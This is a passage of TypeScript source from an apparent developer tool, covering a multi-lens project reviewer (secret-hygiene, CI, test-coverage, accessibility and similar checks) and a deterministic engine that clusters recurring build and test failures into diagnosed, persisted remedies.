gate-aware checks).\n * @param lenses the lenses to convene (typically the output of {@link convene});\n * deduped and returned in canonical order on the report.\n * @throws DevCortexError('INTERNAL') when a lens is not a member of\n * `REVIEWER_LENSES`, or the graph/config is structurally invalid.\n */\nexport async function review(\n root: string,\n graph: ProjectGraph,\n config: CortexConfig,\n lenses: ReviewerLens[],\n): Promise<CouncilReport> {\n if (typeof root !== 'string' || root.length === 0) {\n throw new DevCortexError('INTERNAL', 'review: root must be a non-empty string.');\n }\n if (graph === null || typeof graph !== 'object' || !Array.isArray(graph.files)) {\n throw new DevCortexError('INTERNAL', 'review: graph must be a ProjectGraph.');\n }\n if (config === null || typeof config !== 'object' || config.risk === undefined) {\n throw new DevCortexError('INTERNAL', 'review: config must be a CortexConfig.');\n }\n if (!Array.isArray(lenses)) {\n throw new DevCortexError('INTERNAL', 'review: lenses must be an array of ReviewerLens.');\n }\n for (const lens of lenses) {\n if (!LENS_SET.has(lens)) {\n throw new DevCortexError('INTERNAL', `review: unknown reviewer lens \"${String(lens)}\"`);\n }\n }\n\n const active = canonicalizeLenses(lenses);\n const absRoot = path.resolve(root);\n\n try {\n const contents = await loadContents(absRoot, graph, config, active);\n const nodesByPath = new Map(graph.files.map((node) => [node.path, node]));\n const ctx: ReviewContext = { root: absRoot, graph, config, contents, nodesByPath };\n\n const findings: CouncilFinding[] = [];\n for (const lens of active) {\n findings.push(...LENS_CHECKS[lens](ctx));\n }\n findings.sort(compareFindings);\n\n return {\n task: `project review (${graph.stack.framework}/${graph.stack.language})`,\n lenses: active,\n findings,\n generatedAt: new Date().toISOString(),\n };\n } catch (err) {\n if (err instanceof DevCortexError) {\n throw err;\n }\n throw new DevCortexError('INTERNAL', `review failed at ${absRoot}`, { cause: err });\n }\n}\n\n// --- file loading -----------------------------------------------------------\n\n/**\n * Read exactly the files the active lenses need, once, in parallel. Unreadable\n * files are silently skipped (fail-safe) so one permission error never fails the\n * whole review.\n */\nasync function loadContents(\n absRoot: string,\n graph: ProjectGraph,\n config: CortexConfig,\n active: readonly ReviewerLens[],\n): Promise<Map<string, string>> {\n const needed = filesToRead(graph, config, active);\n const contents = new Map<string, string>();\n await Promise.all(\n [...needed].map(async (rel) => {\n try {\n contents.set(rel, await readFile(path.join(absRoot, rel), 'utf8'));\n } catch {\n // Unreadable file: skip it. The lens simply has nothing to say about it.\n }\n }),\n );\n return contents;\n}\n\n/** Union of the repo-relative files any active lens must read. */\nfunction filesToRead(\n graph: ProjectGraph,\n config: CortexConfig,\n active: readonly ReviewerLens[],\n): Set<string> {\n const lensSet = new Set(active);\n const needSource = lensSet.has('architect') || lensSet.has('performance');\n const needClient = lensSet.has('frontend') || lensSet.has('ui-ux') || lensSet.has('security');\n const needProduct = lensSet.has('product');\n const needSecrets = lensSet.has('security');\n\n const files = new Set<string>();\n for (const node of graph.files) {\n if (needSource && isSourceFile(node.path)) {\n files.add(node.path);\n }\n if (needProduct && isProductScannable(node.path)) {\n files.add(node.path);\n }\n if (needClient && CLIENT_KINDS.has(node.kind)) {\n files.add(node.path);\n }\n if (needSecrets && isRisky(node, config) && isSecretScannable(node.path)) {\n files.add(node.path);\n }\n }\n return files;\n}\n\n// --- security ---------------------------------------------------------------\n\nfunction securityFindings(ctx: ReviewContext): CouncilFinding[] {\n const findings: CouncilFinding[] = [];\n\n // 1. Hardcoded secrets in risky files (never echo the secret itself).\n for (const node of ctx.graph.files) {\n if (!isRisky(node, ctx.config) || !isSecretScannable(node.path)) {\n continue;\n }\n const content = ctx.contents.get(node.path);\n if (content === undefined) {\n continue;\n }\n let hits = 0;\n const lines = content.split(/\\r?\\n/);\n for (let i = 0; i < lines.length && hits < MAX_SECRETS_PER_FILE; i += 1) {\n const line = lines[i] ?? '';\n const label = firstSecretLabel(line);\n if (label === undefined) {\n continue;\n }\n hits += 1;\n findings.push(\n makeFinding(\n 'security',\n 'critical',\n 'Hardcoded secret in source',\n `Possible ${label} committed at line ${i + 1}; move it to an environment variable / secret manager.`,\n node.path,\n ),\n );\n }\n }\n\n // 2. Secrets exposed through a NEXT_PUBLIC_* var (inlined into the client bundle).\n for (const env of ctx.graph.envVars) {\n if (env.name.startsWith('NEXT_PUBLIC_') && PUBLIC_SECRET_RE.test(env.name)) {\n findings.push(\n makeFinding(\n 'security',\n 'high',\n 'Secret exposed via NEXT_PUBLIC_ env var',\n `${env.name} is inlined into the public client bundle; a real secret must use a non-public, server-only variable.`,\n firstOrUndefined(env.usedIn),\n ),\n );\n }\n }\n\n // 3. Server secrets read inside a 'use client' file (leaked into the browser).\n for (const node of ctx.graph.files) {\n if (!CLIENT_KINDS.has(node.kind)) {\n continue;\n }\n const content = ctx.contents.get(node.path);\n if (content === undefined || !USE_CLIENT_RE.test(content)) {\n continue;\n }\n const leaked = clientSecretRefs(content);\n if (leaked.length > 0) {\n findings.push(\n makeFinding(\n 'security',\n 'high',\n 'Server secret read in a client component',\n `'use client' file reads server secret(s) via process.env: ${listNames(leaked)}; these are exposed in the browser bundle.`,\n node.path,\n ),\n );\n }\n }\n\n return findings;\n}\n\n// --- devops -----------------------------------------------------------------\n\nfunction devopsFindings(ctx: ReviewContext): CouncilFinding[] {\n const findings: CouncilFinding[] = [];\n\n const undocumented = ctx.graph.envVars.filter((env) => !env.documented).map((env) => env.name);\n if (undocumented.length > 0) {\n findings.push(\n makeFinding(\n 'devops',\n 'medium',\n 'Undocumented environment variables',\n `${undocumented.length} env var(s) are referenced in code but absent from any .env.example: ${listNames(undocumented)}.`,\n ),\n );\n }\n\n if (!hasDockerfile(ctx.graph)) {\n findings.push(\n makeFinding(\n 'devops',\n 'low',\n 'No Dockerfile found',\n 'No Dockerfile detected; reproducible container builds are recommended for deployable services.',\n ),\n );\n }\n\n if (!hasContinuousIntegration(ctx.graph)) {\n findings.push(\n makeFinding(\n 'devops',\n 'medium',\n 'No CI configuration found',\n 'No CI workflow detected (.github/workflows, .gitlab-ci.yml, etc.); gates should run automatically on every change.',\n ),\n );\n }\n\n return findings;\n}\n\n// --- qa ---------------------------------------------------------------------\n\nfunction qaFindings(ctx: ReviewContext): CouncilFinding[] {\n const testNodes = ctx.graph.files.filter((node) => node.kind === 'test');\n const testedPaths = new Set<string>();\n const testedStems = new Set<string>();\n for (const test of testNodes) {\n for (const imported of test.imports) {\n testedPaths.add(imported);\n }\n testedStems.add(testStem(test.path));\n }\n\n // A missing test matters more when the test gate is actually enforced.\n const severity: RiskLevel = ctx.config.gates.test ? 'high' : 'medium';\n const findings: CouncilFinding[] = [];\n for (const node of ctx.graph.files) {\n if (node.kind === 'test' || !TESTABLE_KINDS.has(node.kind) || !isRisky(node, ctx.config)) {\n continue;\n }\n const coveredByImport =\n testedPaths.has(node.path) || node.importedBy.some((p) => isTestPath(p));\n const coveredByName = testedStems.has(baseStem(node.path));\n if (coveredByImport || coveredByName) {\n continue;\n }\n findings.push(\n makeFinding(\n 'qa',\n severity,\n 'Risky file has no test',\n `${node.path} touches a ${node.kind} surface but no test references it; add coverage before shipping.`,\n node.path,\n ),\n );\n }\n return findings;\n}\n\n// --- architecture -----------------------------------------------------------\n\nfunction architectureFindings(ctx: ReviewContext): CouncilFinding[] {\n const findings: CouncilFinding[] = [];\n\n for (const node of ctx.graph.files) {\n if (!isSourceFile(node.path)) {\n continue;\n }\n const content = ctx.contents.get(node.path);\n if (content === undefined) {\n continue;\n }\n const lineCount = content.split(/\\r?\\n/).length;\n if (lineCount > OVERSIZED_LINES) {\n findings.push(\n makeFinding(\n 'architect',\n 'medium',\n 'Oversized source file',\n `${node.path} is ${lineCount} lines (> ${OVERSIZED_LINES}); consider splitting it into cohesive units.`,\n node.path,\n ),\n );\n }\n }\n\n // Layering inversion: a lower-layer (lib/service) file importing the UI layer.\n for (const node of ctx.graph.files) {\n if (!LOWER_KINDS.has(node.kind)) {\n continue;\n }\n for (const imported of node.imports) {\n const target = ctx.nodesByPath.get(imported);\n if (target !== undefined && UI_KINDS.has(target.kind)) {\n findings.push(\n makeFinding(\n 'architect',\n 'medium',\n 'Layering inversion',\n `${node.kind} file ${node.path} imports ${target.kind} ${target.path}; lower layers should not depend on the UI layer.`,\n node.path,\n ),\n );\n }\n }\n }\n\n return findings;\n}\n\n// --- frontend ---------------------------------------------------------------\n\nfunction frontendFindings(ctx: ReviewContext): CouncilFinding[] {\n const findings: CouncilFinding[] = [];\n for (const node of ctx.graph.files) {\n if (!CLIENT_KINDS.has(node.kind)) {\n continue;\n }\n const content = ctx.contents.get(node.path);\n if (content !== undefined && content.includes('dangerouslySetInnerHTML')) {\n findings.push(\n makeFinding(\n 'frontend',\n 'medium',\n 'Unsafe dangerouslySetInnerHTML',\n `${node.path} renders raw HTML via dangerouslySetInnerHTML; sanitize the input or render structured content to avoid XSS.`,\n node.path,\n ),\n );\n }\n }\n return findings;\n}\n\n// --- ui-ux ------------------------------------------------------------------\n\nfunction uiUxFindings(ctx: ReviewContext): CouncilFinding[] {\n const findings: CouncilFinding[] = [];\n for (const node of ctx.graph.files) {\n if (!CLIENT_KINDS.has(node.kind)) {\n continue;\n }\n const content = ctx.contents.get(node.path);\n if (content === undefined) {\n continue;\n }\n const missing = countImgWithoutAlt(content);\n if (missing > 0) {\n findings.push(\n makeFinding(\n 'ui-ux',\n 'low',\n 'Image without alt text',\n `${node.path} has ${missing} <img> tag(s) without an alt attribute; screen readers cannot describe them.`,\n node.path,\n ),\n );\n }\n }\n return findings;\n}\n\n// --- documentation ----------------------------------------------------------\n\nfunction documentationFindings(ctx: ReviewContext): CouncilFinding[] {\n const hasReadme = ctx.graph.files.some((node) => isRootReadme(node.path));\n if (hasReadme) {\n return [];\n }\n return [\n makeFinding(\n 'documentation',\n 'low',\n 'No repository README',\n 'No README found at the repository root; add one describing setup, usage, and architecture.',\n ),\n ];\n}\n\n// --- performance ------------------------------------------------------------\n\nfunction performanceFindings(ctx: ReviewContext): CouncilFinding[] {\n const findings: CouncilFinding[] = [];\n for (const node of ctx.graph.files) {\n if (!isSourceFile(node.path)) {\n continue;\n }\n const content = ctx.contents.get(node.path);\n if (content === undefined) {\n continue;\n }\n const bytes = Buffer.byteLength(content, 'utf8');\n if (bytes > LARGE_MODULE_BYTES) {\n findings.push(\n makeFinding(\n 'performance',\n 'low',\n 'Large module',\n `${node.path} is ${Math.round(bytes / 1024)} KB (> ${Math.round(LARGE_MODULE_BYTES / 1024)} KB); large modules slow parsing and can bloat bundles.`,\n node.path,\n ),\n );\n }\n }\n return findings;\n}\n\n// --- product ----------------------------------------------------------------\n\nfunction productFindings(ctx: ReviewContext): CouncilFinding[] {\n const findings: CouncilFinding[] = [];\n for (const node of ctx.graph.files) {\n if (!isProductScannable(node.path)) {\n continue;\n }\n const content = ctx.contents.get(node.path);\n if (content === undefined) {\n continue;\n }\n const reasons: string[] = [];\n for (const { label, re } of PLACEHOLDER_PATTERNS) {\n if (re.test(content)) {\n reasons.push(label);\n }\n }\n if (DEAD_LINK_RE.test(content)) {\n reasons.push('dead link (href=\"#\" / empty href)');\n }\n if (reasons.length > 0) {\n findings.push(\n makeFinding(\n 'product',\n 'low',\n 'Placeholder content shipped',\n `${node.path} still contains: ${reasons.join('; ')}. Replace before shipping to users.`,\n node.path,\n ),\n );\n }\n }\n return findings;\n}\n\n// --- lens dispatch ----------------------------------------------------------\n\nconst LENS_CHECKS: Record<ReviewerLens, LensCheck> = {\n architect: architectureFindings,\n security: securityFindings,\n frontend: frontendFindings,\n 'ui-ux': uiUxFindings,\n qa: qaFindings,\n devops: devopsFindings,\n performance: performanceFindings,\n product: productFindings,\n documentation: documentationFindings,\n};\n\n// --- helpers ----------------------------------------------------------------\n\nfunction makeFinding(\n lens: ReviewerLens,\n severity: RiskLevel,\n title: string,\n detail: string,\n file?: string,\n): CouncilFinding {\n return file === undefined\n ? { lens, severity, title, detail }\n : { lens, severity, title, detail, file };\n}\n\nfunction compareFindings(a: CouncilFinding, b: CouncilFinding): number {\n const lensDelta = (LENS_RANK.get(a.lens) ?? REVIEWER_LENSES.length) -\n (LENS_RANK.get(b.lens) ?? REVIEWER_LENSES.length);\n if (lensDelta !== 0) {\n return lensDelta;\n }\n const sevDelta = SEVERITY_RANK[a.severity] - SEVERITY_RANK[b.severity];\n if (sevDelta !== 0) {\n return sevDelta;\n }\n const fileDelta = compareStrings(a.file ?? '', b.file ?? '');\n if (fileDelta !== 0) {\n return fileDelta;\n }\n const titleDelta = compareStrings(a.title, b.title);\n return titleDelta !== 0 ? titleDelta : compareStrings(a.detail, b.detail);\n}\n\nfunction compareStrings(a: string, b: string): number {\n return a < b ? -1 : a > b ? 1 : 0;\n}\n\nfunction isRisky(node: FileNode, config: CortexConfig): boolean {\n return node.risky || isProtected(node.path, config);\n}\n\nfunction isSourceFile(rel: string): boolean {\n return SOURCE_EXT_RE.test(rel.toLowerCase());\n}\n\nfunction isProductScannable(rel: string): boolean {\n return isSourceFile(rel) || MARKUP_EXT_RE.test(rel);\n}\n\nfunction isSecretScannable(rel: string): boolean {\n const base = basenameOf(rel).toLowerCase();\n if (LOCKFILE_BASENAMES.has(base) || ENV_EXAMPLE_BASENAMES.has(base)) {\n return false;\n }\n if (base.endsWith('.map') || base.endsWith('.min.js')) {\n return false;\n }\n return true;\n}\n\nfunction firstSecretLabel(line: string): string | undefined {\n for (const { label, re } of SECRET_PATTERNS) {\n if (re.test(line)) {\n return label;\n }\n }\n return undefined;\n}\n\n/** Non-public, secret-looking env vars read via `process.env` in a source string. */\nfunction clientSecretRefs(content: string): string[] {\n const names = new Set<string>();\n PROCESS_ENV_RE.lastIndex = 0;\n let match: RegExpExecArray | null;\n while ((match = PROCESS_ENV_RE.exec(content)) !== null) {\n const name = match[1] ?? match[2];\n if (name !== undefined && !name.startsWith('NEXT_PUBLIC_') && SECRET_ENV_RE.test(name)) {\n names.add(name);\n }\n }\n return [...names].sort();\n}\n\nfunction countImgWithoutAlt(content: string): number {\n let missing = 0;\n IMG_TAG_RE.lastIndex = 0;\n let match: RegExpExecArray | null;\n while ((match = IMG_TAG_RE.exec(content)) !== null) {\n if (!HAS_ALT_RE.test(match[0])) {\n missing += 1;\n }\n }\n return missing;\n}\n\nfunction hasDockerfile(graph: ProjectGraph): boolean {\n return graph.files.some((node) => {\n const base = basenameOf(node.path).toLowerCase();\n return base === 'dockerfile' || base.startsWith('dockerfile.') || base.endsWith('.dockerfile');\n });\n}\n\nfunction hasContinuousIntegration(graph: ProjectGraph): boolean {\n return graph.files.some((node) => {\n const posix = node.path.replace(/\\\\/g, '/');\n const base = basenameOf(posix).toLowerCase();\n return (\n posix.startsWith('.github/workflows/') ||\n posix.includes('/.github/workflows/') ||\n base === '.gitlab-ci.yml' ||\n base === 'azure-pipelines.yml' ||\n base === 'jenkinsfile' ||\n posix.includes('.circleci/config.') ||\n posix.includes('.buildkite/')\n );\n });\n}\n\nfunction isRootReadme(rel: string): boolean {\n if (rel.includes('/')) {\n return false;\n }\n return /^readme(\\.(md|mdx|markdown|txt|rst))?$/i.test(rel);\n}\n\nfunction isTestPath(rel: string): boolean {\n const base = basenameOf(rel).toLowerCase();\n if (/\\.(test|spec|e2e)\\.[cm]?[jt]sx?$/.test(base)) {\n return true;\n }\n return rel\n .toLowerCase()\n .split('/')\n .slice(0, -1)\n .some((seg) => seg === '__tests__' || seg === '__test__' || seg === 'test' || seg === 'tests' || seg === 'e2e');\n}\n\n/** The stem a test file \"covers\": `foo.test.ts` -> `foo`, `foo.tsx` -> `foo`. */\nfunction testStem(rel: string): string {\n const base = basenameOf(rel);\n return base.replace(/\\.(test|spec|e2e)\\.[cm]?[jt]sx?$/i, '').replace(/\\.[cm]?[jt]sx?$/i, '');\n}\n\n/** The stem of a source file: `billing.ts` -> `billing`. */\nfunction baseStem(rel: string): string {\n return basenameOf(rel).replace(/\\.[cm]?[jt]sx?$/i, '');\n}\n\nfunction basenameOf(rel: string): string {\n const normalized = rel.replace(/\\\\/g, '/');\n const idx = normalized.lastIndexOf('/');\n return idx === -1 ? normalized : normalized.slice(idx + 1);\n}\n\nfunction listNames(names: readonly string[]): string {\n const shown = names.slice(0, MAX_NAMES_LISTED).join(', ');\n return names.length > MAX_NAMES_LISTED ? `${shown}, +${names.length - MAX_NAMES_LISTED} more` : shown;\n}\n\nfunction firstOrUndefined(values: readonly string[]): string | undefined {\n return values.length > 0 ? values[0] : undefined;\n}\n","// ============================================================================\n// Failure diagnosis (§7.17) — deterministic root-cause categorization.\n//\n// Given a failure signature, decide *why* it keeps happening. The mapping is a\n// small, ordered keyword rule set (first match wins) plus a fallback, so the\n// same signature always yields the same category — no heuristics that drift and\n// no LLM calls. The category then selects the remedy the learning engine will\n// create (`remedyForCategory`).\n// ============================================================================\n\nimport type {\n FailureCategory,\n FailureDiagnosis,\n LearnedFailure,\n LearningRemedy,\n} from '../domain/index';\n\n/** One ordered diagnosis rule: a predicate over the lowercased signature. */\ninterface DiagnosisRule {\n category: FailureCategory;\n /** true when this rule claims the signature. */\n matches: (signature: string, kind: string) => boolean;\n}\n\n/** Extract the `<kind>` prefix a signature always carries (see `evidenceSignature`). */\nfunction signatureKind(signature: string): string {\n const idx = signature.indexOf(':');\n return idx === -1 ? '' : signature.slice(0, idx);\n}\n\n/** Whole-word-ish containment test over the lowercased signature. */\nfunction has(signature: string, needle: string): boolean {\n return signature.includes(needle);\n}\n\n// Ordered most-specific → most-general. The first matching rule wins; anything\n// that matches nothing falls through to `weak-agent`.\nconst RULES: readonly DiagnosisRule[] = [\n {\n category: 'missing-mcp',\n matches: (s) =>\n has(s, 'mcp') ||\n has(s, 'tool not') ||\n has(s, 'no such tool') ||\n has(s, 'tool unavailable') ||\n has(s, 'unknown tool'),\n },\n {\n category: 'wrong-package',\n matches: (s, kind) =>\n kind === 'import' ||\n has(s, 'cannot find module') ||\n has(s, 'module not found') ||\n has(s, 'err_module_not_found') ||\n has(s, 'is not a function') ||\n has(s, 'has no exported member'),\n },\n {\n category: 'outdated-docs',\n matches: (s) =>\n has(s, 'deprecat') ||\n has(s, 'outdated') ||\n has(s, 'no longer supported') ||\n has(s, 'removed in'),\n },\n {\n category: 'bad-rule',\n matches: (s, kind) => kind === 'lint' || has(s, 'eslint') || has(s, 'lint'),\n },\n {\n category: 'missing-test',\n matches: (s, kind) =>\n kind === 'test' || has(s, 'test failed') || has(s, 'no tests') || has(s, 'missing test'),\n },\n {\n category: 'missing-context',\n matches: (s, kind) =>\n kind === 'env' ||\n kind === 'migration' ||\n kind === 'typecheck' ||\n kind === 'build' ||\n has(s, 'environment variable') ||\n has(s, 'is not defined') ||\n has(s, 'cannot find name') ||\n has(s, 'undefined'),\n },\n];\n\n/** Human-readable cause sentence per category, parameterized by the signature. */\nconst CAUSE: Record<FailureCategory, (signature: string) => string> = {\n 'missing-context': (s) => `The agent lacked the context needed to get this right (signature: ${s}).`,\n 'missing-skill': (s) =>\n `The task needs a reusable engineering skill the project does not yet have (signature: ${s}).`,\n 'outdated-docs': (s) =>\n `The approach relies on outdated or deprecated APIs (signature: ${s}).`,\n 'wrong-package': (s) =>\n `The failure points at a wrong or missing package/module (signature: ${s}).`,\n 'bad-rule': (s) => `A project lint/style rule keeps rejecting the change (signature: ${s}).`,\n 'missing-test': (s) =>\n `The change repeatedly breaks tests, indicating missing or inadequate coverage (signature: ${s}).`,\n 'weak-agent': (s) =>\n `A recurring failure with no clearer root-cause signal, indicating weak agent behavior (signature: ${s}).`,\n 'missing-mcp': (s) =>\n `A required MCP/tool appears unavailable for this task (signature: ${s}).`,\n};\n\n/**\n * Category → remedy the learning engine should create. Declared as a total\n * `Record` so adding a `FailureCategory` fails the build until it is mapped.\n */\nconst REMEDY: Record<FailureCategory, LearningRemedy> = {\n 'missing-test': 'regression-check',\n 'missing-skill': 'skill',\n 'weak-agent': 'skill',\n 'missing-context': 'rule',\n 'wrong-package': 'rule',\n 'bad-rule': 'rule',\n 'missing-mcp': 'rule',\n 'outdated-docs': 'stack-pack',\n};\n\n/**\n * Diagnose a raw signature string. Internal: `analyzeFailures` calls this while\n * still assembling a {@link LearnedFailure}, before its `diagnosis` exists.\n */\nexport function diagnoseSignature(signature: string): FailureDiagnosis {\n const kind = signatureKind(signature);\n const lowered = signature.toLowerCase();\n for (const rule of RULES) {\n if (rule.matches(lowered, kind)) {\n return { category: rule.category, cause: CAUSE[rule.category](signature) };\n }\n }\n return { category: 'weak-agent', cause: CAUSE['weak-agent'](signature) };\n}\n\n/** Public: deterministic root-cause diagnosis for an observed learned failure. */\nexport function diagnose(failure: LearnedFailure): FailureDiagnosis {\n return diagnoseSignature(failure.signature);\n}\n\n/** The remedy kind the learning engine creates for a diagnosed category. */\nexport function remedyForCategory(category: FailureCategory): LearningRemedy {\n return REMEDY[category];\n}\n","// ============================================================================\n// Failure signatures (§7.17) — the deterministic keys the learning engine\n// clusters on.\n//\n// A *signature* is a stable, matchable string derived purely from an observed,\n// refuted `EvidenceItem`: the check kind plus the failing command + exit code\n// (preferred) or the normalized claim. Identical failures — the same command\n// failing with the same exit code across many runs — collapse to one key, which\n// is what makes \"this happened N times\" countable without ever inventing a\n// failure. Everything here is pure and tokenless (the OSS layer).\n// ============================================================================\n\nimport { createHash } from 'node:crypto';\n\nimport type { EvidenceItem } from '../domain/index';\n\n/** Collapse internal whitespace runs to a single space and trim the ends. */\nexport function normalizeText(text: string): string {\n return text.replace(/\\s+/g, ' ').trim();\n}\n\n/**\n * Deterministic, stable, matchable signature for one refuted evidence item.\n *\n * Format (chosen so the raw failing command stays human-readable in the key):\n * - with a command: `<kind>:cmd=<normalized command>#exit=<code|NA>`\n * - otherwise: `<kind>:claim=<normalized claim>`\n */\nexport function evidenceSignature(item: EvidenceItem): string {\n const command = typeof item.command === 'string' ? normalizeText(item.command) : '';\n if (command.length > 0) {\n const exit = typeof item.exitCode === 'number' ? String(item.exitCode) : 'NA';\n return `${item.kind}:cmd=${command}#exit=${exit}`;\n }\n return `${item.kind}:claim=${normalizeText(item.claim)}`;\n}\n\n/**\n * Stable content-addressed id for a signature — a single safe path segment, so\n * the learned failure lands at `.cortex/known-failures/<id>.json` and re-learning\n * the same signature overwrites rather than duplicates.\n */\nexport function failureId(signature: string): string {\n const digest = createHash('sha256').update(signature).digest('hex').slice(0, 12);\n return `failure-${digest}`;\n}\n\n/**\n * Lowercased alphanumeric keyword tokens (runs of length >= `min`) drawn from a\n * signature, deduped and order-preserving. Used to seed skill triggers and drive\n * the deterministic diagnosis keyword rules.\n */\nexport function signatureTokens(signature: string, min = 3): string[] {\n const seen = new Set<string>();\n const out: string[] = [];\n for (const raw of signature.toLowerCase().split(/[^a-z0-9]+/)) {\n if (raw.length >= min && !seen.has(raw)) {\n seen.add(raw);\n out.push(raw);\n }\n }\n return out;\n}\n","// ============================================================================\n// analyzeFailures (§7.17) — observe repeated failures across the evidence ledger\n// and the flight recorder, cluster them by signature, and count occurrences.\n//\n// Two evidence-grounded sources feed the analysis:\n// 1. the EvidenceLedger — every recorded *refuted* check (a real, observed\n// failure). Recurring refuted evidence is the primary signal.\n// 2. the flight recorder (../runs) — how many *distinct runs* each signature\n// failed in, so a failure that spans multiple sessions surfaces even if the\n// ledger only holds a couple of entries.\n//\n// A signature is considered a learned failure when it recurs at least\n// `minOccurrences` times in the ledger OR spans that many distinct runs. Nothing\n// is ever invented: only refuted evidence produces a signature, and the count is\n// the observed count. Deterministic and tokenless (the OSS layer).\n// ============================================================================\n\nimport { SchemaValidationError } from '../domain/index';\nimport type { LearnedFailure } from '../domain/index';\nimport { EvidenceLedger } from '../ledgers/index';\nimport { listRuns } from '../runs/index';\n\nimport { diagnoseSignature, remedyForCategory } from './diagnose';\nimport { evidenceSignature, failureId } from './signature';\n\n/** Options for {@link analyzeFailures}. */\nexport interface AnalyzeOptions {\n /**\n * Minimum recurrence for a signature to count as a learned failure — the\n * number of refuted-evidence observations OR the number of distinct runs it\n * failed in. Must be a positive integer. Defaults to 2 (\"repeated\").\n */\n minOccurrences?: number;\n}\n\nconst DEFAULT_MIN_OCCURRENCES = 2;\n\n/** One signature's accumulated observations. */\ninterface Cluster {\n /** count of refuted evidence items carrying this signature. */\n evidenceCount: number;\n /** ids of the refuted evidence items, used to compute run spread. */\n evidenceIds: Set<string>;\n /** distinct run ids that referenced any of this signature's evidence. */\n runIds: Set<string>;\n}\n\n/**\n * Scan the evidence ledger and flight recorder for repeated failure signatures.\n * Returns one {@link LearnedFailure} per recurring signature (unpersisted\n * candidates), sorted most-recurring first.\n */\nexport async function analyzeFailures(\n root: string,\n options: AnalyzeOptions = {},\n): Promise<LearnedFailure[]> {\n const min = normalizeThreshold(options.minOccurrences);\n\n const [items, runs] = await Promise.all([new EvidenceLedger(root).all(), listRuns(root)]);\n\n // Only refuted evidence is a real, observed failure — never invent one.\n const clusters = new Map<string, Cluster>();\n const signatureByEvidenceId = new Map<string, string>();\n for (const item of items) {\n if (item.status !== 'refuted') {\n continue;\n }\n const signature = evidenceSignature(item);\n const cluster = clusters.get(signature) ?? {\n evidenceCount: 0,\n evidenceIds: new Set<string>(),\n runIds: new Set<string>(),\n };\n cluster.evidenceCount += 1;\n cluster.evidenceIds.add(item.id);\n clusters.set(signature, cluster);\n signatureByEvidenceId.set(item.id, signature);\n }\n\n // Attribute run spread: how many distinct runs referenced each signature.\n for (const run of runs) {\n for (const evidenceId of run.evidenceIds) {\n const signature = signatureByEvidenceId.get(evidenceId);\n if (signature === undefined) {\n continue;\n }\n // Guaranteed present: the signature came from a cluster we just built.\n clusters.get(signature)?.runIds.add(run.id);\n }\n }\n\n const now = new Date().toISOString();\n const learned: LearnedFailure[] = [];\n for (const [signature, cluster] of clusters) {\n const runSpread = cluster.runIds.size;\n if (cluster.evidenceCount < min && runSpread < min) {\n continue;\n }\n const diagnosis = diagnoseSignature(signature);\n learned.push({\n id: failureId(signature),\n signature,\n occurrences: Math.max(cluster.evidenceCount, runSpread),\n diagnosis,\n remedyKind: remedyForCategory(diagnosis.category),\n createdAt: now,\n updatedAt: now,\n });\n }\n\n learned.sort(byOccurrencesThenSignature);\n return learned;\n}\n\nfunction byOccurrencesThenSignature(a: LearnedFailure, b: LearnedFailure): number {\n if (a.occurrences !== b.occurrences) {\n return b.occurrences - a.occurrences;\n }\n if (a.signature === b.signature) {\n return 0;\n }\n return a.signature < b.signature ? -1 : 1;\n}\n\nfunction normalizeThreshold(value: number | undefined): number {\n if (value === undefined) {\n return DEFAULT_MIN_OCCURRENCES;\n }\n if (!Number.isInteger(value) || value < 1) {\n throw new SchemaValidationError('analyzeFailures minOccurrences must be a positive integer.', {\n details: { minOccurrences: value },\n });\n }\n return value;\n}\n","// ============================================================================\n// learn (§7.17) — turn a diagnosed failure into durable, editable remedies.\n//\n// `learn` always persists the {@link LearnedFailure} under\n// `.cortex/known-failures/`, then — driven by its `remedyKind` — creates ONE\n// concrete remedy artifact:\n// - `regression-check` → a markdown regression note beside the record.\n// - `skill` → a project-generated SkillManifest via the skill store.\n// - `rule`/`workflow`/`stack-pack` → a MemoryItem (risk or pattern) whose\n// `evidence` refs point back at the refuted evidence.\n// - `known-failure` → no extra artifact (the record itself is the remedy).\n//\n// The remedy artifact's ref is recorded on the persisted failure (`remedyRef`)\n// so the failure and its fix stay linked. Everything is real filesystem I/O,\n// atomic where it writes files directly, deterministic and tokenless. Remedies\n// are transparent (plain JSON/markdown under `.cortex/`) and editable, and are\n// always grounded in observed evidence — a memory remedy carries the exact\n// refuted-evidence refs, never an invented claim.\n// ============================================================================\n\nimport { randomUUID } from 'node:crypto';\nimport { mkdir, rename, rm, writeFile } from 'node:fs/promises';\nimport path from 'node:path';\n\nimport { DevCortexError, LearnedFailureSchema, SchemaValidationError } from '../domain/index';\nimport type {\n EvidenceRef,\n FailureCategory,\n LearnedFailure,\n MemoryType,\n RiskLevel,\n SkillManifest,\n} from '../domain/index';\nimport { EvidenceLedger, MemoryLedger } from '../ledgers/index';\nimport type { MemoryInput } from '../ledgers/index';\nimport { SkillStore, skillsDir } from '../skills/skill-store';\nimport { assertValidSkill } from '../skills/validation';\nimport { workspacePaths } from '../workspace/index';\n\nimport {\n KnownFailureStore,\n knownFailureFile,\n knownFailuresDir,\n} from './known-failure-store';\nimport { evidenceSignature, signatureTokens } from './signature';\n\n/**\n * Collaborators for {@link learn}, injectable for testing. Any field left unset\n * is constructed from `root`, so `learn(root, failure)` works in production and\n * `learn(root, failure, { memory })` works in a test.\n */\nexport interface LearnDeps {\n failures?: KnownFailureStore;\n skills?: SkillStore;\n memory?: MemoryLedger;\n evidence?: EvidenceLedger;\n}\n\n/** Result of {@link learn}: absolute paths of every artifact created or updated. */\nexport interface LearnResult {\n created: string[];\n}\n\n/** Cap on evidence refs attached to a learned memory, so the record stays small. */\nconst MAX_EVIDENCE_REFS = 10;\n\n/** Persist a learned failure and create its diagnosed remedy. */\nexport async function learn(\n root: string,\n failure: LearnedFailure,\n deps: LearnDeps = {},\n): Promise<LearnResult> {\n const parsed = LearnedFailureSchema.safeParse(failure);\n if (!parsed.success) {\n throw new SchemaValidationError('learn() requires a valid LearnedFailure.', {\n details: parsed.error.issues,\n cause: parsed.error,\n });\n }\n const input = parsed.data;\n const failures = deps.failures ?? new KnownFailureStore(root);\n\n // Create the remedy first so its ref can be recorded on the persisted failure.\n const remedy = await createRemedy(root, input, deps);\n\n const existing = await failures.get(input.id);\n const now = new Date().toISOString();\n const record: LearnedFailure = {\n ...input,\n remedyRef: remedy.remedyRef ?? input.remedyRef,\n // Preserve the original createdAt across re-learning; always bump updatedAt.\n createdAt: existing?.createdAt ?? input.createdAt ?? now,\n updatedAt: now,\n };\n await failures.save(record);\n\n return { created: [knownFailureFile(root, record.id), ...remedy.created] };\n}\n\n// --- remedy creation 